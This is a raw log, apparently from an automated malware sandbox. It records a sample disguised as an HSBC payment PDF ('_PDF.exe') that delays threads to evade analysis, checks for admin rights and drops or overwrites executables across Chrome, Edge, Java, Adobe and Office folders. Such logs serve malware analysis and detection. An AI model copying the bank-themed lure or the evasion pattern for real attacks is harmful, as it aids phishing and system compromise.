Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593602	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593247	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593040	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592923	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592682	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592565	Jump to behavior

Source: C:\Windows\System32\msdtc.exe	Window / User API: threadDelayed 493	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Window / User API: threadDelayed 5766	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Window / User API: threadDelayed 4232	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 4114	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 5696	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Dropped PE file which has not been started: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Dropped PE file which has not been started: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Dropped PE file which has not been started: C:\Windows\System32\SensorDataService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Dropped PE file which has not been started: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_11-3883
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_12-3659
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_14-3899
Source: C:\Windows\SysWOW64\perfhost.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_15-50760
Source: C:\Windows\System32\Spectrum.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_19-3944
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_21-3883
Source: C:\Windows\System32\AppVClient.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_7-3899

Source: C:\Windows\SysWOW64\perfhost.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe TID: 7140	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe TID: 7120	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msdtc.exe TID: 5364	Thread sleep count: 493 > 30	Jump to behavior
Source: C:\Windows\System32\msdtc.exe TID: 5364	Thread sleep time: -49300s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe TID: 3652	Thread sleep count: 5766 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe TID: 3652	Thread sleep time: -57660000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe TID: 3652	Thread sleep count: 4232 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe TID: 3652	Thread sleep time: -42320000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\perfhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\perfhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599765	Jump to behavior
